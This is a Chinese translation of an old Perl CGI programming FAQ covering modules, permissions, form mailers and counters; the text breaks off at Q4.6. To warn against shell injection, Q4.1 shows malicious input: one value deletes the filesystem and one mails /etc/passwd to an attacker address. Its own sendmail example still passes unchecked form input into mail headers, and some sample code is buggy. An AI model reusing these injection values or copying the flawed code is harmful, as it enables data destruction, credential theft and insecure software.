中文版 Perl CGI 程式寫作常問問題集 (Perl CGI Programming FAQ)

版本: 1.0

原文作者:
Shishir Gundavaram <shishir@ora.com>
Tom Christiansen <tchrist@perl.com>

中譯、補充:
蕭百齡 <pailing@2Ti.com>

文體說明:

  1. 譯者已就原文中語焉不詳、資訊過時,或可作額外補充之處附加註解。這些註解均 以星號 (*) 於適當處(通常為句尾)標示。實際的說明文字則大多緊鄰星號所在 的段落,自成一段。所有註解文字均以「【譯者】」起頭。
  2. 範例中的 Perl 程式碼已由譯者適度加以翻譯、去除多餘的括弧,並依 perlstyle manpages 中所建議的寫作格式及習慣稍作修整。


1.0 - 入門簡介
Q1.1: 為什麼我的 HTML page/form 需要用 script?
Q1.2: CGI 各代表什麼?
Q1.3: 到底什麼叫 script?我能拿它來能做什麼?
Q1.4: 什麼是 Perl?為什麼有那麼多人用它來做 CGI?
Q1.5: 有沒有教 CGI 或 Perl 的書或是線上資料?
Q1.6: 是不是有這方面的郵遞論壇 (mailing lists) 或新聞討論群組?
Q1.7: 網路上是不是有專門收藏郵遞論壇或新聞討論群組的 posts 的站?
2.0 - Modules (模組)
Q2.1: 我是不是該用 Perl CGI modules 來寫 CGI scripts ?自己做不是比較容易嗎?
Q2.2: 如何知道某個 module 該怎麼個用法?
Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ?
Q2.4: 有哪些給 Perl5 使用的 CGI modules?我該用哪個?為什麼?
Q2.5: 為什麼這麼多 perl CGI libraries 都是 object-oriented (物件導向)的?我對用物件導向來寫程式一竅不通。難道就沒有簡單一點,給不會物件導向的人使用的 libraries 嗎?物件導向有多難?
3.0 - CGI 與 WWW Server
Q3.1: 我的 Perl CGI 程式要放在哪裡執行?cgi-bin 這個目錄是做甚麼用的?
Q3.2: 什麼是檔案使用權限?怎樣改?
Q3.3: Perl 應該安裝在哪裡才可以執行它?
Q3.4: 我為什麼一直得到 ``Server: Error 500'' 的訊息?
Q3.5: 我試著打開一個檔案,想把資料儲存在裡頭,但是 open() 的指令失敗了。到底是怎麼搞的?
4.0 - 程式設計疑難雜症
Q4.1: 我想讓 user 填的 form 資料自動寄給我,該怎麼做?有沒有範例?
Q4.2: 剛才這個用 form 送信的 script 看起來有點難。為什麼不乾脆用 ``mailto: URL'',這樣 user 填入的資料就可以寄給我了?
Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在這些平台之間互相移植呢?能不能 很直接,沒有麻煩?我在 UNIX 主機上有帳號,但是都是先在 Windows/Mac 上做。 我要如何在我自己的機器上測試寫好的 CGI scripts?
Q4.4: 在 Perl CGI 程式中,STDERR (標準錯誤訊息)、STDIN (標準輸入),和 STDOUT (標準輸出) 各是連到何處?
Q4.5: 如何寫計數器?
Q4.6: 要如何用一個 Perl 的取代指令將所有 HTML 標籤從一份文件中刪除?
Q4.7: 要如何知道是誰/哪台機器/哪個瀏覽器執行了我的程式?
Q4.8: 人家看得到我的 Perl CGI 程式嗎?如果是這樣的話,那不就讓他們知道我的程式是怎麼運作的了。這是個安全漏洞嗎?我要怎麼把它隱藏起來?
Q4.9: 我需要將整個 Perl library 都複製到我的 htdocs 目錄底下嗎?
Q4.10: 我為什麼不該叫使用者輸入他們的密碼或身份證字號或信用卡號碼?有一個 TYPE="password" 不是就是拿來做這個的嗎?
Q4.11: 我要如何產生專門替 Netscape 設計的網頁,以別於世上其他的瀏覽器?
Q4.12: 為什麼我的 system() 所產生的資料輸出順序不對?
Q4.13: 我聽說 Netscape 會支援 Java。這是不是說 我現在得棄 Perl,改Java 了?是不是該這麼做?
Q4.14: 我要如何讀取環境變數?為什麼它們有時候會不一樣?
Q4.15: 為什麼我輸出的資料被攪亂了(如 ``b < a'' 會被破壞掉)?
Q4.16: 為什麼我的Perl CGI 程式可以由指令列,卻無法從瀏覽器去執行?
Q4.17: 為什麼我的 Perl CGI 程式能跑,但是不會把資料寫到檔案中?
Q4.18: 要如何做一個會維繫狀態,或允許【同一使用者】多次連線的 form?
Q4.19: 如果不從瀏覽器去執行我的 CGI 程式,要如何替它除錯?
Q4.20: 如果不靠<FORM>標籤,要如何叫出 Perl CGI 程式?
Q4.21: 要如何避免旁人不先填欄位就執行我的 form?他們為什麼一直不斷這麼做?
Q4.22: 那些 server 回應碼 (server response codes) 是幹什麼用的?有什麼意義?
Q4.23: 為什麼 print "Location: http://host/page.html\n" 不 work?又為什麼它只 work 一次,但隨後的轉向就都弄錯了呢?
Q4.24: 要如何讓 server 在每個 HTML 網頁的底部都自動加上一個:「最近更新日期: ...」的告示?或者,是不是只有 SSI 的網頁才能這麼做?CGI 程式的日期要如何取 得?
Q4.25: 什麼樣的場合下以 Perl 寫 CGI 程式會顯得太小題大作,因為用 shell 就可以做到?而什麼樣的場合對 Perl 來說又過於困難?用 C++ 做這類的事不是好得多嗎?那用 C 呢?
5.0 - 安全
Q5.1: 以 Perl 寫成的 CGI 程式是不是不如以 shell 或 C 寫的來得安全?
Q5.2: 我該特別留意哪些安全事項?
Q5.3: 為什麼大家都說 http://bigidiot.abuse-me.com/perl.exe?foo.pl 這樣很危險?會有多糟?
Q5.4: 要如何在程式中安全地使用逆向撇號(backticks,"`")?這麼做:
@ans = `grep'$user_field' some.file`; 是不是真的不安全?
Q5.5: /$user_variable/ 這個句法是不是 Perl 5 中的一個安全漏洞?
版權事宜

1.0 - 入門簡介


Q1.1: 為什麼我的 HTML page/form 需要用 script?

因為有的時候您需要在 HTML 文件中使用動態資料(非固定不變的資料)。 這包括了日期和時間這類的簡單資料,或是一個顯示「您是第 xxx 位訪客」的計 數器。但它也可能包括根據使用者輸入而得出的大餅圖/條統圖、資料庫搜尋產 生的結果,或動畫等這類的東西。要做出像這樣的東西,您唯一的方法是使用 CGI scripts (儘管您也可以應用客戶端程式,如 Java 和 JavaScript 來達到這個目 的,不過那又是完全不同的一回事!)。


Q1.2: CGI 各代表什麼?

以下是我的編輯* Andy Oram 和 Linda Mui (他們很棒!)所寫的一段非 常好的描述:

【譯者】這是原文的第一作者 Shishir G. 指他所寫的 CGI Programming on the World Wide Web 一書的編輯。
Common          向您確保 CGI 可以使用多種程式語言並和多種
		不同的系統互動。它讓您自由選擇達到目的的方
                法,不把您綁死在單獨一種作法之下*。

Gateway         提示您 CGI 的力量不在於它本身所做的事,而
                在於它提供了連結其他系統的潛力,例如資料庫
                和圖形製造器。

Interface       只是表示 CGI 對如何善用其特性提供了明確的
		界定-換句話說,您可以設計程式來適當利用這
                個介面。

【譯者】似乎有影射 Java 之意。

Q1.3: 到底什麼叫 script?我能拿它來能做什麼?

簡單的說,script 就是程式!好吧、好吧,應該說二者有語意上的差別。如果您 真的想知道,那麼去買一本電腦程式設計的書來看(或許該說 script 設計 :-) )。

您可以藉著寫 CGI 程式/script 變很多魔術。您可以即時製作圖形、連結資料庫 傳回【查詢】結果,還可以連到 Internet 上其他的 servers 去。


Q1.4: 什麼是 Perl?為什麼有那麼多人用它來做 CGI?

答案就在 perl manpage 中的前三行敘述:

Perl 是一解譯式的語言,專為高效率檢視文字檔案 、從中抽取資料,據以印製 報表而設計。
絕大多數 CGI 應用程式的任務都涉及對資料作某種程度的處理,及連結外在程式。 Perl 恰好提供了好用的工具,讓人輕鬆愉快地達成這些任務。


Q1.5: 有沒有教 CGI 或 Perl 的書或是線上資料?

以下是由 Cye H. Waldman 所整理的 CGI 和 Perl 書籍一覽表*:

【譯者】此表由譯者更新,同時加入了原文作者 Tom C. 的 Perl 書評以供讀者 參考。請注意:CGI 各書的等級評定乃單就其 Perl 部份的水準及正確性而言。符 號說明:(Tom C. 用駱駝而非星星)
五顆星(﹡﹡﹡﹡﹡)==>很棒的書 (terrific books)
四顆星(﹡﹡﹡﹡)==>不錯的書 (fine books)
三顆星(﹡﹡﹡)==>像樣的書 (decent books)
兩顆星(﹡﹡)==>馬馬虎虎、勉強過得去的書 (so-so books)
一顆星(﹡)==>差勁的書 (poor books)
零顆星(0﹡)==>大爛書 (terrible books)
NA==>不適用、無書評 (Not Applicable/Available)
v4==>內容較老舊,僅含蓋 Perl4

作者 書名 評價 出版者 所附軟體 售價(美金)
?? Cgi Programming For Dummies
(預定出版日期:1997年1月)
NA IDG Books
$25
Jeffrey Friedl Mastering Regular Expressions: Powerful Techniques for Perl and Other Tools
(預定出版日期:1997年1月)
NA O'Reilly
$30
J.M. Ivler CGI Developer's Resource
(預定出版日期:1997年3月)
NA Prentice Hall 光碟 $45
Various authors Perl 5 Windows NT Programming
(預定出版日期:1997年1月)
NA New Riders
$45
Eric Herrmann Teach Yourself CGI Programming with Perl 5 in a Week, 2nd Ed. NA Sams.net 光碟 $40
Mark Felton CGI: Internet Programming C++ & C
(預定出版日期:1997年3月)
NA Prentice Hall
$??
Ed Tittle CGI Bible
(預定出版日期:1996年11月)
NA IDG Books
$??
Craig Patchett &
Matt Wright
The CGI Cookbook: Perl and JavaScript
(預定出版日期:1996年11月)
NA Wiley 光碟 $40
Baron Weil Drag-n-Drop CGI
(預定出版日期:1997年1月)
NA Addison-Wesley
$??
Stephen Lines How To Program CGI with Perl 5.0 NA Ziff-Davis 光碟 $40
Bob Denny et al. CGI Programming for Windows
(預定出版日期:1997年3月)
NA O'Reilly 磁片 $30
Selena Sol &
Gunther Birznieks
Instant Web Scripts with CGI/Perl NA MIS:Press/M&T Books 光碟 $40
?? Perl For Dummies
(預定出版日期:1996年10月)
NA IDG Books
$25
Steven E. Brenner &
Edwin Aoki
CGI Web Scripting With Perl
(出版取消)
NA MIS:Press/M&T Books 光碟 $40
?? Perl & CGI Programming Starter Kit NA Sams.net
$45
Mohammed J. Kabir CGI Primer Plus for Windows NA Waite 光碟 $45
Ed Tittel et al. Foundations of WWW Programming with HTML and CGI, 2nd Ed.
(預定出版日期:1996年10月)
NA IDG Books 光碟 $??
Jerry Muelver Creating Cool Web Pages With Perl ﹡﹡ IDG Books 光碟 $30
John December HTML & CGI Unleashed, Professional Reference Edition NA Sams.net 光碟 $50
Eric Johnson Cross-Platform Perl
(See also the author's book site.)
(預定出版日期:1996年9月)
﹡﹡﹡﹡ MIS:Press/M&T Books 光碟 $35
Daniel Berlin et al. CGI Programming Unleashed NA Sams.net
$55
Clinton Wong Web Client Programming in Perl
(預定出版日期:1997年3月)
NA O'Reilly
$30
Robert Seymour Perl 5
(預定出版日期:1996年10月)
NA Springer-Verlag
$40
M獳he嫮 � Foghl� Perl 5 Quick Reference ﹡ Que
$20
Robert Niles &
Jeffry Dwight
CGI by Example NA Que 光碟 $35
Jonathan Hagey PC Magazine Programming Perl 5.0 CGI Web Pages for Microsoft Windows NT 0﹡ Ziff-Davis 光碟 $35
?? Web Programming with Perl
(預定出版日期:1996年8月)
NA Sams.net 光碟 $40
?? Perl 5 Developer's Guide
(預定出版日期:1996年12月)
NA Sams 光碟 $60
David Medinets Perl 5 by Example ﹡﹡+1/2﹡ Que 光碟 $35
Stephen Asbury et al. CGI How-To NA Waite 光碟 $40
Carl Franklin Visual Basic Internet Programming
(預定出版日期:1996年5月)
NA Wiley 光碟 $40
InfoMagic Mother of Perl
(一套兩張光碟)
NA SSC 光碟 $35
Larry Wall et al. Programming Perl, 2nd Ed. ﹡﹡﹡﹡﹡ O'Reilly
$40
Eugene Kim CGI Developer's Guide
(預定出版日期:1996年5月)
﹡﹡ Sams.net 光碟 $50
Robert McDaniel CGI Manual of Style
(可自線上取得)
NA Ziff-Davis
$25
?? Perl 5 for Dummies
(預定出版日期:1996年)
NA IDG Books 光碟 $??
Ginsburg &
Tall
Developing Internet Applications with Perl
(預定出版日期:1996年3月)
NA Sams.net
$??
Kamran Husain Perl 5 Unleashed ﹡ Sams 光碟 $50
Norton Teach Yourself Perl 5, 2nd Edition
(預定出版日期:1996年6月)
NA Sams 光碟 $??
Michael Erwin et al. Special Edition Using CGI NA Que
$60
Thomas Boutell CGI Programming in C and Perl ﹡﹡﹡﹡ Addison-Wesley 光碟 $35
Johan Vromans Perl 5 Desktop Reference NA O'Reilly
$7
Christian Neuss &
Johan Vromans
The Webmaster's Handbook: Perl Power for Your Web Server NA Int'l Thomson 光碟 $30
William E. Weinman The CGI Book NA New Riders 光碟 $45
Brian Jepson World Wide Web Database Programming for Windows NT NA Wiley 光碟 $40
Steven E. Brenner &
Edwin Aoki
Introduction to CGI/ Perl ﹡﹡﹡(v4) MIS:Press/M&T Books
$20
Ed Tittel &
Sebastion Hassinger
Perl 5 Programming Secrets
(預定出版日期:1996年3月)
NA IDG Books 光碟 $45
David Harlan et al. Special Edition Using Perl 5 for Web Programming
﹡﹡ Que
$50
Shishir Gundavaram CGI Programming on the World Wide Web ﹡﹡ O'Reilly 光碟 $30
Robert Farrel The Official 60 Minute Guide to CGI Programming with Perl ﹡﹡﹡(v4) IDG Books
$20
Ed Tittel &
Sebastion Hassinger
Web Programming Secrets with HTML, CGI & Perl NA IDG Books 光碟 $45
John Deep &
Peter Holfelder
Developing CGI Applications with Perl ﹡﹡(v4) Wiley
$30
Jon Orwant Perl 5 Interactive Course ﹡﹡﹡ Waite 光碟 $50
Aidan Humphreys et al. Perl 5 How-To ﹡﹡﹡ Waite 光碟 $45
Eric Herrmann Teach Yourself CGI Programming with Perl in a Week ﹡﹡﹡(v4) Sams.net 光碟 $40
Walnut Creek Perl
(收錄各類資源、檔案庫、入門指導、實例、source code 等)
NA Walnut Creek 光碟 $40
Carl Dichter &
Mark Pease
Software Engineering with Perl
(進階級,內容針對軟體專業人仕設計;非入門指引)
﹡ Prentice Hall 磁片 $30
Ellie Quigley Perl by Example ﹡﹡﹡(v4) Prentice Hall
$27
John December &
Mark Ginsburg
HTML & CGI Unleashed NA Sams.net 光碟 $50
David Till Teach Yourself Perl in 21 Days ﹡﹡(v4) Sams
$30
Larry Wall &
Randal L. Schwartz
Programming Perl NA O'Reilly
$30
Randal L. Schwartz Learning Perl ﹡﹡﹡﹡(v4) O'Reilly
$25
Ed Tittel et al. Foundations of WWW Programming with HTML and CGI NA IDG Books 光碟 $40
Lincoln Stein How To Set Up and Maintain a World Wide Web Site, 2nd Edition
(預定出版日期:1997年1月)
﹡﹡﹡﹡ Addison-Wesley 光碟 $55

【譯者】中文的 CGI 和 Perl 的書目則尚待好心的讀者提供。


Q1.6: 是不是有這方面的郵遞論壇 (mailing lists) 或新聞討論群組?

每天有無數的 CGI 高手在「監視」著這個很有用的新聞討論群組: comp.infosystems.www.authoring.cgi*。

【譯者】中文的討論群中最適合做這方面的討論的大概要算是 tw.bbs.comp.www 了。還有,請不要將 CGI 問題 post 到 comp.lang.perl.misc 上頭去,別說譯者沒先警告您喔 ;-) 。

但是,除非您先把 FAQ 讀過一遍,否則您不應該到這個版子上去隨便 post 問題 (或其他任何版子;同樣的道理)。

網路上有各式各樣 討論 Perl、CGI,及 Web 的郵遞論壇,但以底下這兩個最受歡迎:

cgi-perl-request@webstorm.com 【Hypermail 檔案庫】

這個論壇是給發展 Perl5 CGI 模組、或對此有興趣的人用的。它並不提 供任何 CGI 支援*。
【譯者】此 mailing list 已經數月沒有 posts ,壽終正寢了。這可能是由於 討論的主題-CGI::* 模組套件(詳見以下第二篇「Modules (模組)」的說明) 已經有好一段時間沒有更新了。模組的維護人 Lincoln Stein 近一年多來似乎都 將重心放在他的 CGI.pm 上,而 CGI.pm 也取代了 CGI::* 這個套件的地位。讀者 如對 CGI::* 或 CGI.pm 有問題的話可寫到 comp.lang.perl.modules 上頭去。

libwww-perlrequest@ics.uci.edu 【Hypermail 檔案庫】

libwww-perl 這個 library 套件為 Web 客戶及伺服程式設計提供了一套簡便的介面*。
【譯者】此 mailing list 不適合做 CGI 的討論。libwww-perl 是一項以 Perl 為發展工具、類似 W3C/CERN 的 libwww 的計畫(後者用的是 C)。

您可以在:
http://www.ics.uci.edu/pub/websoft/libwww-perl取得舊的 (Perl4) libwww-perl 的相關資料。

最新的 Perl5 libwww 套件可在:
http://www.sn.no/~libwww-perl/ 處取得。

CPAN: Perl 模組同時也可以在多重複製、分散式的 CPAN 系統取得。 這會自動替您選擇一個「靠近您的站」。譬 如說,您可以抓 LWP 模組的 source 或只抓它的 readme。


Q1.7: 網路上是不是有專門收藏郵遞論壇或新聞討論群組的 posts 的站?

是的,您可以試試 The Usenet Newstand。所有comp.infosystems.www.* 討論群組的文章都收集在那 兒*。同時,cgi-perl 及 libwww 這兩個郵遞論壇他們也有收集。

【譯者】您同時可以試試 DejaNews 、 AltaVista ,和 HotBot 這幾個搜尋引擎/資料庫。 DejaNews 甚至連 tw.bbs.* 都收集 (其他兩個或許也有,但譯者沒試過)。


2.0 - Modules (模組)


Q2.1: 我是不是該用 Perl CGI modules* 來寫 CGI scripts ?自己做不是比較容易嗎?

【譯者】 CGI modules 在此指 CGI.pm 及其他 CGI::* 的模組;詳見 Q2.4 。

這完全取決於您要做的是什麼。CGI modules 較適合重量級的 CGI scripts 。如 果是簡單的 scripts 的話,自己做或者是用 CGI Lite 這個模組會簡便許多。如 果您真的願意,您甚至可以用舊的 Perl4 cgi-lib.pl 這個 library*。

【譯註】 作者 Tom C. 之所以這麼說是因為他基本上不贊成使用cgi-lib.pl ,有 興趣的讀者可以看他寫的 Why I am not fond of cgi-lib.pl (為什麼我不欣賞 cgi-lib.pl )。


Q2.2: 如何知道某個 module 該怎麼個用法?

大多數 modules 的使用說明是直接嵌在 程式裡的*。 如果是這樣的話,您可以用 pod2man 這個 script 來閱讀使用指南:

% pod2text name_of_module.pm
% pod2man name_of_module.pm | nroff -man | more

【譯註】如果您在 *.pm 檔中看到 ``=head1''、``=cut'' 這類的東西便是顯示使 用說明有附在裡頭。這是 Larry Wall 設計的 POD (Plain Old Document) 格式。 詳見 perlpod manpages。


Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ?

最廣為使用的 Perl4 CGI library 是 Steve Brenner 的 cgi-lib.pl。


Q2.4: 有哪些給 Perl5 使用的 CGI modules?我該用哪個?為什麼?

CGI.pm*
這個很棒的 module 在功能上和部分 CGI::* modules 相重疊。如果您不想和多重 modules 打交道的話,您可以只用這一個。我們等一下在後頭會給您看一個用 CGI.pm 來替 CGI scripts 除錯的實例。

此外,Lincoln (Lincoln Stein;CGI.pm 的作者)還寫了一本討論 Web 和 CGI 非常好的書,叫 How To Set Up and Maintain a World Wide Web Site。

【譯者】 建議讀者多使用 CGI.pm 。CGI::* 已經有很長一段時間沒有更新了,而 CGI.pm 則不斷的有改良的新版推出,並已加入對 FastCGI 的支援,因此對 FastCGI 的使用 者也相當方便。此外,mod_perl (Apache 的 perl module)中所附的 CGI::XA,也是由 CGI.pm 改進而來的。 CGI.pm 讓使用者免除自己做低階資料處理 (如印 HTTP 標頭、替 form, cookies 資料解碼等)的麻煩。

CGI::* 模組套件
這些模組原先大多是由 Tim Bunce 所寫,現在則由 Lincoln Stein 來負責 維護。它們的功能包括了幫您產生及處理 form ,替 CGI 程式除錯,以及在不同的 forms 之間維繫一個狀態值。

CGI Lite
這個輕量級的 module 是 CGI::* modules 之外的另一個選擇。它可算是在老舊的 cgi-lib.pl 之上改良、加料後的產物。

以上三者均有能力處理 multipart form 資料(即上傳)。


Q2.5: 為什麼這麼多 perl CGI libraries 都是 object-oriented (物件導向)的?我對用物件導向來寫程式一竅不通。難道就沒有簡單一點,給不會物件導向的人使用的 libraries 嗎?物件導向有多難?

其實使用物件導向的 modules 並不難。先去看看 Tom Christiansen 的 Easy Intro to Using Perl Objects (簡單介紹如何使用 Perl 物件)吧。

前頭提到的 CGI modules 用起來真的是很容易!這裡有一個用 CGI Lite 印出 form 資料的實例*:

【譯者】CGI.pm 的使用說明中有更多範例可供參考。

#!/usr/local/bin/perl -w

use CGI_Lite;

$cgi = new CGI_Lite;
%data = $cgi->parse_form_data;

print "Content-type: text/plain", "\n\n";

foreach $key (keys %data) {
    print $key, " = ", $data{$key}, "\n";
}

exit 0;
要注意的是,即使您機器上的 Perl 不是您裝的(您不是系統管理者),或是您權限不 夠無法將這些 modules 和其他的 Perl library 檔案安裝在同一個地方,您還 是可以使用這些 modules 的 -- 只要將它們擺在一個自己方便的地方,然後在 您的 script 開始處加上*:
BEGIN {
    unshift @INC, "/your/dir/favorite/place";
}
【譯者】建議改用較新的方式:
use lib qw(/your/dir/favorite/place);
好。以下是一個用到 CGI::* modules 的例子:
#!/usr/local/bin/perl -w

use CGI::Form;

$cgi_form = new CGI::Form;

print <<'End_of_Header';
    <HTML>
    <HEAD><TITLE>看著我做!</TITLE></HEAD>
    <BODY>
    <H1>看著我做!</H1>
End_of_Header

print $form->startform;

## 產生一個單行輸入欄位 (text field)

print '姓名: ';
print $form->textfield('name'), "<BR>\n";

## 產生一組單選按紐 (radio buttons)

print '<P>您住哪兒: <BR>';
print $form->radio_group(-name      => 'where',
                         -values    => ['北美洲',
                                        '南美洲',
                                        '歐洲',
                                        '澳洲',
                                        '亞洲',
                                        '南極洲'],
                         -default   => '北美洲',
                         -linebreak => 'true');

## 產生一個多行輸入欄位 (textarea)

print '意見: ';
print $form->textarea('comments', undef, 5, 40);

print "<P>";
print $form->reset;
print $form->defaults;
print $form->submit('送出!', 'Submit');
print $form->endform;

print "</BODY></HTML>";

reset、defaults,及submit三種方法( methods ) 會產 生不同的類型的按鈕。reset 這個按鈕讓您把目前 form 欄位中所填的資料洗掉, 並顯示屬於上一個狀態(或回合)的資料。 defaults 這個按鈕則是將form 欄位 資料徹底洗去。還有 submit 這個方法產生一個送出鈕以便讓人將資料送至 server 處。

您看,不是很容易嗎?

3.0 - CGI 與 WWW Server


Q3.1: 我的 Perl CGI 程式要放在哪裡執行?cgi-bin 這個目錄是做甚麼用的?

server 通常是設定成去執行放在 ``cgi-bin'' 目錄底下的 CGI 程式。不過, server 管理者同時也可以在設定檔中設定 aliases,讓所有含某些副檔名(如 .cgi、.pl)的 scripts 都能執行*。

【譯者】設定 CGI aliases 和副檔名固然很方便,但 server 管理者須注意到相 關的安全問題。


Q3.2: 什麼是檔案使用權限?怎樣改?

檔案權限是根據使用者識別代號(又稱 uid),以及他們所屬的團體來決定是否賦 與使用者讀、寫,和執行某檔案的權利。您可使用 chmod 這個指令去修改檔案的 使用權限。例如:

% ls -ls form.cgi

  1 -rwx------  1 shishir       974 Oct 31 22:15 form.cgi*

此一檔案的權限為 0700(八進制),意味著沒有人(檔案所有人除外)能夠讀取、 寫進,或執行這個檔案。我們可以用 chmod 這個指令去修改它的權 限:

% chmod 755 form.cgi
% ls -ls form.cgi

  1 -rwxr-xr-x  1 shishir       974 Oct 31 22:15 form.cgi*
這樣一來,權限就變了。現在和 ``shishir'' 在同一個團體的使用者,還有其他 任何的使用者都有權利去讀取和執行這個檔案了。

如欲知 chmod 指令各八進制數碼所代表的含意,請參閱 chmod manpages的說明。


Q3.3: Perl 應該安裝在哪裡才可以執行它?

Perl 可以安裝在系統上任何一個角落!您唯一要注意的是 server 不能在chroot 的環境下跑,否則它便無法跑 perl 解譯器。換言之,系統管理者可以把根目錄 改變,讓 ``/'' 指到另一個目錄,而不是實際真正的根目錄(``/'')。


Q3.4: 我為什麼一直得到 ``Server: Error 500'' 的訊息?

以下幾種情形會觸發這個錯誤訊息:


Q3.5: 我試著打開一個檔案,想把資料儲存在裡頭,但是 open() 的指令失敗了。到底是怎麼搞的?

一般說來,HTTP server 是以 ``nobody''、``www'',或其他這類權限低的使用 者的身份來跑的。因為這個緣故,您打算在其中製造新檔案的目錄,對 server 跑的 使用者 ID 必須要是可寫(writable)才行。

為了確定起見,您每次都應該先檢查 open 這個指令送回的結束狀態(return status),看看 open 有沒有成功。

open(FILE, "/abc/data.txt")
    || error("Could not open file /abc/data.txt");

	.
	.	
	.

sub error {
    my($message) = @_;
	
    print <<End_of_Error;
Content-type: text/html
Status: 500 CGI Error

<HTML>
<HEAD><TITLE>CGI Error</TITLE></HEAD>
<BODY>
<H1>Oops! Error</H1>
<HR>
$message
<HR>
</BODY>
</HTML>

End_of_Error
}

4.0 - 程式設計疑難雜症


Q4.1: 我想讓 user 填的 form 資料自動寄給我,該怎麼做?有沒有範例?

其實做這個很容易。您的 CGI script 必須能做到這兩件事:

  1. 將 form 中的資料整理出來。別忘了,所有的 form 資料都會被 URL-編碼起來 (先不考慮 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME資料)。
  2. 開一個管路 (pipe) 到 mail (或 sendmail ),然後把 form 資料寫過去。

    我們就假設您用的是 CGI::* 模組。您可用以下的方法去叫 sendmail:

    $cgi_form = new CGI::Form;
    
    $from     = $cgi_form->param('from');
    $name     = $cgi_form->param('name');
    $to       = $cgi_form->param('to');
    $subject  = $cgi_form->param('subject');
    $message  = $cgi_form->param('message');
    
    open SENDMAIL, "| /usr/bin/sendmail -t -n";
    print SENDMAIL <<End_of_Mail;
    From: $from <$name>
    To: $to
    Reply-To: $from
    Subject: $subject
    
    $message
    End_of_Mail
    
    有一個該注意的地方是 ``Reply-To:'' 的信頭。由於 server 是以 ``nobody''這 個使用者的身份來跑,信頭的地方可能會被搞壞(尤其是當有人想回這封信的時後)。 加上 ``Reply-To'' 的信頭這個問題便解決了。

    網路上有許多的 mail 渠道 (gateway)* 是以底下這種方法來送 mail:

    【譯者】gateway 在此指送 email 的 CGI 程式
    open MAIL, "| mail -s 'Subject' $to";
    
                                      ^
                                      |
                                      +-- 可能會出問題的漏洞!!!
    
    如果您沒有先檢查看 $to 這個變數有沒有內含 shell 的特殊符號 (metacharacters),您是在自討苦吃!譬如,如果哪個惡劣的 user 輸入了以下的資 料:
    ; rm -fr / ;
    那麼您的麻煩可大了*。
    【譯者】這裡頭的 ``;'' 便是一個危險的 shell metacharacter。另一個危險的符號是 ``&''。

    在這個假想的情況中,有多少個檔案會被遠方的 user 給殺掉,還得視 server 跑的使用者的權限而定(這就是為什麼 server 要以低權限使用者身份跑的原因)。 至少那些由 CGI 程式製造出來,但又沒有備份的檔案,是真的要跟它們永別了。

    ; mail joe@crackerland.org </etc/passwd
    
    那您的 CGI script 就替您把 /etc/passwd 給拱手送上了。這對一個「未加工」的 Linux、SunOS 4.1,還有其他任何沒安裝 shadow-password 的 UNIX 系統來說, 實在不太好玩。如果 server 錯誤地跑了 root,那麼就算裝了 shadow-password 也沒有用,因為遠方的 cracker 甚至可以讓這個 CGI 的 email script 給他送 /etc/shadow (視系統而定,不一定在 /etc 底下或叫這個名字)。


    Q4.2: 剛才這個用 form 送信的 script 看起來有點難。為什麼不乾脆用 ``mailto: URL'',這樣 user 填入的資料就可以寄給我了?

    很不幸地,mailto: 的指令並不是所有的瀏覽器都支援。如果您在檔案中用了它的話, 會限制了那些使用沒有支援 mailto: 的瀏覽器的人,讓他們無法送 mail 給您*。

    【譯者】儘管如此,您或許不會在乎那佔極少數比例的使用者(Netscape 、 IE, 和 lynx 等瀏覽器都支援 mailto: )。


    Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在這些平台之間互相移植呢?能不能 很直接,沒有麻煩?我在 UNIX 主機上有帳號,但是都是先在 Windows/Mac 上做。 我要如何在我自己的機器上測試寫好的 CGI scripts*?

    Perl 已經被移植到上述所有的平台上了。因此,您的 Perl CGI 程式照理應不難 移植。但如果您使用到一些 UNIX 上的程式,那麼您的程式可能會不好移植。如果 您只是做資料處理,或開啟、讀進檔案等的話,那麼移植應該不會有問題。

    【譯者】原 FAQ 並未回答最後這個問題。要在 Windows/OS2/Mac 等非 UNIX 平台 上測式您的 scripts ,您可以使用 CGI.pm (支援以上所有平台),配合 Q4.19 中提示的除錯技巧 ,或在自己的機器上安裝 HTTP server 軟體。如此就不用辛苦的連上主機去測式了。


    Q4.4: 在 Perl CGI 程式中,STDERR (標準錯誤訊息)、STDIN (標準輸入),和 STDOUT (標準輸出) 各是連到何處?

    在 CGI 環境下,STDERR 會指向 server 的 錯誤訊息檔 (error log)。您可以善 加利用這個特性,把除錯的訊息寫到 STDERR,然後您便可藉查看錯誤訊息檔來幫 您除錯。

    STDIN 和 STDOUT 則都和瀏覽器相連。實際上,STDIN 連的是 server。 server 會先解讀 client (或瀏覽器)送出的請求和資料,再將其送給 script。

    您也可以用將 STDERR 「複製」到 STDOUT 的方法來抓錯誤訊息。這應該在 script 靠前頭的地方做(但應在您輸出合適的 HTTP 標頭之後):

    open STDERR, ">&STDOUT";
    
    這會將所有的錯誤訊息都轉送到 STDOUT (即瀏覽器) 去。


    Q4.5: 如何寫計數器?

    計數器一類的程式相當流行。其實計數器的原理很簡單,不過是:

    以下是一個簡單的計數器的實例:

    #!/usr/local/bin/perl -w
    
    $counter = "/home/shishir/counter.dat";
    print "Content-type: text/plain", "\n\n";
    
    open(FILE, $counter) || die "Cannot read from the counter file.\n";
    flock FILE, 2;
    $visitors = <FILE>;
    flock FILE, 8;
    close FILE;
    
    open(FILE, ">$counter") || die "Cannot write to counter file.\n";
    flock FILE, 2;
    print FILE $visitors;
    flock FILE, 8;
    close FILE;
    
    現在您可以在 HTML 檔案中用 SSI (Server Side Include; 伺服端插入)* 的方式來顯示該計數器:
    【譯者】SSI 是 server 所提供的一項功能,可將動態資料,例如日期和時間,或 計數器顯示等,在客戶請求一網頁時即時加入該文件中。支援 SSI 的 servers 包 括了 NCSA、Apache,和Netscape Enterprise Server 等。 SSI 固然是一項便利的設計,但如過份濫用 ,不但會減低 server 性能,更可能招來安全上的危機。
    您是第
    <!--#exec cgi="/cgi-bin/counter.pl-->
    位光臨本站的客人。
    


    Q4.6: 要如何用一個 Perl 的取代指令將所有 HTML 標籤從一份文件中刪除?

    以下這個簡單的 regular expression 可用來去除 HTML 標籤*:

    【譯者】
